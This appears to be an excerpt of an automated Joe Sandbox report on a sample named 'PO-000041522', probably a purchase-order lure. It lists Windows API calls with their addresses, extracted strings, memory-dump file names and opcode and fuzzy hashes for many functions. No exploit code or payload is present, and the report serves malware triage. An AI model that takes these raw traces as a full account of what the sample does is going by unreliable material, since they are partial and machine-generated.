                                                                                                • Opcode ID: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                • Instruction ID: 11750150b5911b8a2d77b888e51b7102539fbc40f42687a9f62e69b5342e6946
                                                                                                • Opcode Fuzzy Hash: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                                • Instruction Fuzzy Hash: 8461B372B00B15DBD724AB69DC81AEB73E99F84324F14452FF011D7682EB78DA808B58
                                                                                                APIs
                                                                                                • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 0046FB61
                                                                                                • ExtractIconExW.SHELL32(?,000000FF,?,?,00000001), ref: 0046FB7A
                                                                                                • SendMessageW.USER32 ref: 0046FBAF
                                                                                                • SendMessageW.USER32 ref: 0046FBE2
                                                                                                • ImageList_Create.COMCTL32(00000010,00000010,00000021,?,00000001), ref: 0046FC1B
                                                                                                • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 0046FC3E
                                                                                                • ImageList_Create.COMCTL32(00000020,00000020,00000021,?,00000001), ref: 0046FC51
                                                                                                • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 0046FC73
                                                                                                • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FC97
                                                                                                • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FCA5
                                                                                                • SendMessageW.USER32 ref: 0046FD00
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$IconImageList_$CreateExtractReplace
                                                                                                • String ID:
                                                                                                • API String ID: 2632138820-0
                                                                                                • Opcode ID: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                                • Instruction ID: f8b2170a3f6480226351c2682443129a31dd3945ebd2779c8b18a40e734619f9
                                                                                                • Opcode Fuzzy Hash: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                                • Instruction Fuzzy Hash: A461BF70208305AFD320DF14DC85F5BB7E4FB89B14F10492EFA85972D1E7B4A8498B66
                                                                                                APIs
                                                                                                • LoadCursorW.USER32(00000000,00007F89), ref: 00433BC7
                                                                                                • LoadCursorW.USER32(00000000,00007F8A), ref: 00433BDE
                                                                                                • LoadCursorW.USER32(00000000,00007F03), ref: 00433BF5
                                                                                                • LoadCursorW.USER32(00000000,00007F8B), ref: 00433C0C
                                                                                                • LoadCursorW.USER32(00000000,00007F01), ref: 00433C23
                                                                                                • LoadCursorW.USER32(00000000,00007F88), ref: 00433C3A
                                                                                                • LoadCursorW.USER32(00000000,00007F86), ref: 00433C51
                                                                                                • LoadCursorW.USER32(00000000,00007F83), ref: 00433C68
                                                                                                • LoadCursorW.USER32(00000000,00007F85), ref: 00433C7F
                                                                                                • LoadCursorW.USER32(00000000,00007F82), ref: 00433C96
                                                                                                • LoadCursorW.USER32(00000000,00007F84), ref: 00433CAD
                                                                                                • LoadCursorW.USER32(00000000,00007F04), ref: 00433CC4
                                                                                                • LoadCursorW.USER32(00000000,00007F02), ref: 00433CDB
                                                                                                • LoadCursorW.USER32(00000000,00000000), ref: 00433CEF
                                                                                                • LoadCursorW.USER32(00000000,00007F00), ref: 00433D06
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CursorLoad
                                                                                                • String ID:
                                                                                                • API String ID: 3238433803-0
                                                                                                • Opcode ID: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                • Instruction ID: acd63d7325575073817552101614e6badc0a76bef24473f745c9da0ba21645f6
                                                                                                • Opcode Fuzzy Hash: a9ae3fa102d058121485b558102ae55493db0c8a3ed3723cc80ee02977cbc66e
                                                                                                • Instruction Fuzzy Hash: 6D310E3058C302FFE7504F50EE0AB1C36A0BB48B47F008C7DF64AA62E0E6F055009B9A
                                                                                                APIs
                                                                                                • GetClassNameW.USER32(?,?,00000100), ref: 00460AF5
                                                                                                • _wcslen.LIBCMT ref: 00460B00
                                                                                                • __swprintf.LIBCMT ref: 00460B9E
                                                                                                • SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00460C11
                                                                                                • GetClassNameW.USER32(?,?,00000400), ref: 00460C8E
                                                                                                • GetDlgCtrlID.USER32(?), ref: 00460CE6
                                                                                                • GetWindowRect.USER32(?,?), ref: 00460D21
                                                                                                • GetParent.USER32(?), ref: 00460D40
                                                                                                • ScreenToClient.USER32(00000000), ref: 00460D47
                                                                                                • GetClassNameW.USER32(?,?,00000100), ref: 00460DBE
                                                                                                • GetWindowTextW.USER32(?,?,00000400), ref: 00460DFB
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_wcslen
                                                                                                • String ID: %s%u
                                                                                                • API String ID: 1899580136-679674701
                                                                                                • Opcode ID: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                                • Instruction ID: ed0b46c26cbb3f928a943cd91895a09858176ee0e89b0f6962e21683ef9d2041
                                                                                                • Opcode Fuzzy Hash: 263ba601bdfcacdbc09c0537f08939095875f2576dae1f9512caffb95b688f0a
                                                                                                • Instruction Fuzzy Hash: 3AA1CD722043019BDB14DF54C884BEB73A8FF84714F04892EFD889B245E778E946CBA6
                                                                                                APIs
                                                                                                • CoTaskMemFree.OLE32(?), ref: 0047D6D3
                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                • StringFromCLSID.OLE32(?,?), ref: 0047D6B5
                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                • StringFromIID.OLE32(?,?), ref: 0047D7F0
                                                                                                • CoTaskMemFree.OLE32(?), ref: 0047D80A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: FreeFromStringTask_wcslen$_wcscpy
                                                                                                • String ID: 0vH$CLSID\$Interface\$ProgID$ToolBoxBitmap32$inprocserver32$localserver32$HH
                                                                                                • API String ID: 2485709727-934586222
                                                                                                • Opcode ID: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                                • Instruction ID: 9b1d76abf7044590dd80f2c514dab21f357569e7696d0ed80310904c07b122bf
                                                                                                • Opcode Fuzzy Hash: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
                                                                                                • Instruction Fuzzy Hash: 63714BB5614201AFC304EF25C981D5BB3F8BF88704F108A2EF5599B351DB78E905CB6A
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcscpy$Folder_memset$BrowseDesktopFromInitializeListMallocPathUninitialize
                                                                                                • String ID: HH
                                                                                                • API String ID: 3381189665-2761332787
                                                                                                • Opcode ID: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                                • Instruction ID: 9856a5a3be2a6f4b6f15ab218c20ab076772672eb14c4daba281b2e598c2a196
                                                                                                • Opcode Fuzzy Hash: cbd34bb05af2b60d6becc686f20e38c9c02ad4ea561bbadf99ecd2e28994155d
                                                                                                • Instruction Fuzzy Hash: E1619AB59043009FC320EF65C88499BB7E9BFC8704F048E1EF98987252D775E849CB6A
                                                                                                APIs
                                                                                                • GetDC.USER32(00000000), ref: 00434585
                                                                                                • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00434590
                                                                                                • CreateCompatibleDC.GDI32(00000000), ref: 0043459B
                                                                                                • SelectObject.GDI32(00000000,?), ref: 004345A9
                                                                                                • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00434618
                                                                                                • GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00434665
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CompatibleCreate$BitmapBitsObjectSelectStretch
                                                                                                • String ID: (
                                                                                                • API String ID: 3300687185-3887548279
                                                                                                • Opcode ID: a450f34534e90728b593110333ab2667c80d8fad5b42e6595b380d4336462737
                                                                                                • Instruction ID: a007e7ec8c3f390601fcb6226b5fc218b62818acb39bbc9fe8cd9ddeb27b86ed
                                                                                                • Opcode Fuzzy Hash: a450f34534e90728b593110333ab2667c80d8fad5b42e6595b380d4336462737
                                                                                                • Instruction Fuzzy Hash: E4514871508345AFD310CF69C884B6BBBE9EF8A310F14881DFA9687390D7B5E844CB66
                                                                                                APIs
                                                                                                • LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E463
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E480
                                                                                                • __swprintf.LIBCMT ref: 0045E4D9
                                                                                                • _printf.LIBCMT ref: 0045E595
                                                                                                • _printf.LIBCMT ref: 0045E5B7
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: LoadString_printf$__swprintf_wcslen
                                                                                                • String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR $HH
                                                                                                • API String ID: 3590180749-2894483878
                                                                                                • Opcode ID: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                                • Instruction ID: 42a5c2f6345f2e10047da6565a111f96cfad8617a22bea28fc44504b1d19b7ce
                                                                                                • Opcode Fuzzy Hash: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
                                                                                                • Instruction Fuzzy Hash: 9F51A171518345ABD324EF91CC41DAF77A8AF84754F04093FF94463292EB78EE488B6A
                                                                                                APIs
                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 0046F911
                                                                                                • LoadImageW.USER32(00000000,?,00000000,00000000,00000000,00002010), ref: 0046F929
                                                                                                • SendMessageW.USER32(?,000000F7,00000000,00000000), ref: 0046F942
                                                                                                • DeleteObject.GDI32(?), ref: 0046F950
                                                                                                • DestroyIcon.USER32(?,?,000000F7,00000000,00000000,?,00000000,00000000,00000000,00002010,?,000000F0), ref: 0046F95E
                                                                                                • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9A8
                                                                                                • SendMessageW.USER32(?,000000F7,00000001,00000000), ref: 0046F9C1
                                                                                                • DeleteObject.GDI32(?), ref: 0046F9CF
                                                                                                • DestroyIcon.USER32(?,?,000000F7,00000001,00000000,?,00000001,00000000,00000000,00002010), ref: 0046F9DD
                                                                                                • ExtractIconExW.SHELL32(?,?,?,000000FF,00000001), ref: 0046FA1D
                                                                                                • DestroyIcon.USER32(?), ref: 0046FA4F
                                                                                                • SendMessageW.USER32(?,000000F7,00000001,?), ref: 0046FA5A
                                                                                                • DeleteObject.GDI32(?), ref: 0046FA68
                                                                                                • DestroyIcon.USER32(?,?,000000F7,00000001,?), ref: 0046FA76
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Icon$Destroy$DeleteMessageObjectSend$ImageLoad$ExtractLongWindow
                                                                                                • String ID:
                                                                                                • API String ID: 3412594756-0
                                                                                                • Opcode ID: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                                • Instruction ID: 2b127e2e725f503062080ad48664a75956f0b49bd2ac624c91da1236fc619d99
                                                                                                • Opcode Fuzzy Hash: f692dd120a8e9e8c350368ee646f6d7ebba10fee5470a76da8eaf9bc85602db5
                                                                                                • Instruction Fuzzy Hash: BD41B575344301ABE7209B65ED45B6B7398EB44711F00083EFA85A7381DBB9E809C76A
                                                                                                APIs
                                                                                                  • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                  • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                • GetDriveTypeW.KERNEL32 ref: 0045DA30
                                                                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DA76
                                                                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DAAB
                                                                                                • mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DADF
                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: SendString$_wcslen$BuffCharDriveLowerType
                                                                                                • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                                                • API String ID: 4013263488-4113822522
                                                                                                • Opcode ID: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                                • Instruction ID: 78e8968fe3d68f28a61334a0544e46eb3ade7c09d07056eb4a028b8014bab4f9
                                                                                                • Opcode Fuzzy Hash: b9e44105478404289108567262d296c88e7101013f7783f6c7bd148379995db0
                                                                                                • Instruction Fuzzy Hash: 86516E71604300ABD710EF55CC85F5EB3E4AF88714F14496EF985AB2D2D7B8E908CB5A
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcslen$_wcsncpy$LocalTime__wcstoi64
                                                                                                • String ID:
                                                                                                • API String ID: 228034949-0
                                                                                                • Opcode ID: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                                • Instruction ID: c9113392db11e6d0b84b7dcaf0f9983ae7bcdcfbf3325debe08446cd55f13bc3
                                                                                                • Opcode Fuzzy Hash: d55b35800c2a6f74fd0df3de6656c0821778ac1c15f087543c4dc83ec7dd6154
                                                                                                • Instruction Fuzzy Hash: 874194B181435066DA10FF6AC8479DFB3A8EF89314F84495FF945D3162E378E64883AA
                                                                                                APIs
                                                                                                • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,?,0046FAD5), ref: 004334F4
                                                                                                • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043350F
                                                                                                • GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043351A
                                                                                                • GlobalLock.KERNEL32(00000000), ref: 00433523
                                                                                                • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433533
                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 0043353A
                                                                                                • CloseHandle.KERNEL32(00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433541
                                                                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043354F
                                                                                                • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,?), ref: 00433568
                                                                                                • GlobalFree.KERNEL32(00000000), ref: 0043357B
                                                                                                • GetObjectW.GDI32(?,00000018,?), ref: 004335A6
                                                                                                • CopyImage.USER32(?,00000000,?,?,00002000), ref: 004335DB
                                                                                                • DeleteObject.GDI32(?), ref: 00433603
                                                                                                • SendMessageW.USER32(?,00000172,00000000,?), ref: 0043361B
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                                                • String ID:
                                                                                                • API String ID: 3969911579-0
                                                                                                • Opcode ID: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                • Instruction ID: 5aed18668fdc988692497ed4484016cc97142e8c7c748bcd34b77a3330007e11
                                                                                                • Opcode Fuzzy Hash: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
                                                                                                • Instruction Fuzzy Hash: 70410471204210AFD710DF64DC88F6BBBE8FB89711F10492DFA45972A0D7B5A941CBAA
                                                                                                APIs
                                                                                                • GetParent.USER32 ref: 00445A8D
                                                                                                • GetClassNameW.USER32(00000000,?,00000100), ref: 00445AA0
                                                                                                • __wcsicoll.LIBCMT ref: 00445AC4
                                                                                                • __wcsicoll.LIBCMT ref: 00445AE0
                                                                                                • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00445B3D
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __wcsicoll$ClassMessageNameParentSend
                                                                                                • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                                                • API String ID: 3125838495-3381328864
                                                                                                • Opcode ID: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                • Instruction ID: 9ea7b4bfd8e333fc3d4c3d1cc69785ca983c3453aa66f955cff8de8c622a02b1
                                                                                                • Opcode Fuzzy Hash: 6f6f70247b4827d2a410ddc22f410c306ecb8b2e46d0c95c17204de523c723c4
                                                                                                • Instruction Fuzzy Hash: F011E9B1B40301BBFF10B6659C46EAF739CDF94759F00081BFD44E6182F6ACA9458769
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CopyVariant$ErrorLast
                                                                                                • String ID: Conversion of parameters failed$NULL Pointer assignment$Not an Object type
                                                                                                • API String ID: 2286883814-4206948668
                                                                                                • Opcode ID: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                                • Instruction ID: 5c76bcf0434180a49ef26f8382d3619d889c8a8ee3f63882ad125ac36acecb62
                                                                                                • Opcode Fuzzy Hash: 2f6e4bc4aaf8f7a3794965dba448b56a5b6575b3b05f264a778baa01eb75d6f6
                                                                                                • Instruction Fuzzy Hash: 4EA1F0B1644300ABD620EB25CC81EABB3E9FBC4704F10891EF65987251D779E945CBAA
                                                                                                APIs
                                                                                                  • Part of subcall function 0045335B: CharLowerBuffW.USER32(?,?,?,0045D9DB,?,?,?), ref: 0045336E
                                                                                                  • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                • GetDriveTypeW.KERNEL32(?,?,00000061), ref: 00475EEC
                                                                                                • _wcscpy.LIBCMT ref: 00475F18
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
